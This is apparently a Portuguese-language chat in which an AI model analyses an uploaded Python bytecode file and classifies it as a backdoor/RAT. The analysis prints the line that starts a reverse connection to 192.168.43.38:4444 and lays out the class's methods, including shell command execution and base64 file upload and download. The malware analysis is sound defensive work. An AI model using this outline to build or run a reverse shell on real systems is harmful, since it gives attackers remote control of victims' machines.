exec.pyc

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 32s >

É malware.

Análise passo a passo

1. **Tipo de arquivo**

   É um arquivo `.pyc` (bytecode compilado de Python). O header magic (`f30d0d0a...`) indica que foi gerado por uma versão específica de Python (próxima de 3.11/3.12). O nome interno do arquivo-fonte embutido é um hash longo (`1c486702b74550c0abe3f5e353f52b1d4c737bfc253b4db3fcdd9caf6612c98a.py`), típico de código ofuscado ou gerado automaticamente.

2. **Imports e estrutura de alto nível**

   O módulo importa:

   - `socket`
   - `subprocess`
   - `json`
   - `os`
   - `base64`
   - `sys`

   Em seguida define uma classe chamada **`Backdoor`** e instancia:

   ```python
   my_backdoor = Backdoor('192.168.43.38', 4444)
   my_backdoor.run()
   ```

3. **Classe `Backdoor` – métodos encontrados**

   - `__init__(self, ip, port)` → cria um socket TCP (`AF_INET` / `SOCK_STREAM`) e faz `connect()` para o IP/porta fornecidos.
   - `reliable_send` → serializa dados com `json.dumps` e envia pelo socket.
   - `reliable_receive` → recebe dados em loop (buffer de 1024 bytes) e faz parse JSON.
   - `execute_system_commmand` → executa comandos via `subprocess.check_output(..., shell=True)` .
   - `change_working_directory_to` → `os.chdir()` .

- `write_file` → grava arquivo em modo binário após `base64.b64decode` (upload).
- `read_file` → lê arquivo e retorna `base64.b64encode` (download).
- `run` → loop principal que:
  - Recebe comandos do C2
  - Trata os comandos especiais: `exit`, `cd`, `download`, `upload`
  - Para qualquer outro comando chama `execute_system_commmand`
  - Envia o resultado de volta
  - Em caso de erro envia a mensagem `[-]Error during command Execution`

4. **Comportamento observado**
   - Conexão de saída (reverse connection) para um IP privado (`192.168.43.38:4444`) – típico de ambiente de teste ou rede local controlada pelo atacante.
   - Capacidade completa de:
     - Executar comandos arbitrariamente no sistema
     - Navegar pelo sistema de arquivos
     - Fazer upload e download de arquivos
   - Comunicação em JSON (formato comum em RATs simples em Python).
5. **Conclusão**

   Este é um **backdoor / reverse shell / RAT** clássico escrito em Python. Não há nenhuma funcionalidade legítima; o único propósito é dar controle remoto da máquina à pessoa que estiver escutando na porta 4444.

Classificação final: malware (backdoor).

Qual é a categoria principal deste malware?

Worked for 5s >

Categoria principal: Backdoor (mais especificamente, um **Remote Access Trojan / RAT** do tipo reverse shell).

Justificativa rápida:

- O malware estabelece uma conexão de saída (reverse connection) para um IP controlado pelo atacante.
- Fornece acesso remoto interativo com capacidade de:
  - Executar comandos arbitrariamente
  - Navegar no sistema de arquivos
  - Fazer upload e download de arquivos
- Não se propaga sozinho (não é worm), não criptografa arquivos (não é ransomware), não se esconde profundamente no sistema (não é rootkit avançado) e não tem funcionalidade

legítima disfarçada de forma elaborada.

Embora possa ser classificado secundariamente como **Trojan** (Remote Access Trojan), a categoria principal e mais precisa é **Backdoor**.

- Qual é a categoria secundária deste malware?
- O que é um RAT
- Qual a categoria secundária?